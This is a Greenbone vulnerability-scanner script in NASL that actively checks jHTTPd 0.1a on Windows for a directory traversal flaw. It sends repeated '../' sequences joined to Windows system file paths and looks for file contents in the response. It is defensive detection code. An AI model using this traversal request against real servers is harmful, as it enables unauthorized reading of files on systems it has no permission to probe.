jHTTPd <= 0.1a Directory Traversal Vulnerability - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902404");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-04-01 15:39:52 +0200 (Fri, 01 Apr 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("jHTTPd <= 0.1a Directory Traversal Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web Servers");
  script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
  script_mandatory_keys("jHTTPd/banner", "Host/runs_windows");
  script_require_ports("Services/www", 8082);

  script_tag(name:"summary", value:"jHTTPd is prone to a directory traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaws are due to an error in validating backslashes in
  the filenames.");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to perform
  directory traversal attacks and read arbitrary files on the affected application.");

  script_tag(name:"affected", value:"jHTTPd version 0.1a on windows.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17068/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 8082);

banner = http_get_remote_headers(port: port);
if (!banner || banner !~ "Server\s*:\s*jHTTPd")
 exit(0);

files = traversal_files("windows");

foreach file (keys(files)) {

  data = crap(data: "../", length: 16 * 3);
  url = data + files[file];

  if (http_vuln_check(port: port, url: url, pattern: file, check_header: TRUE)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);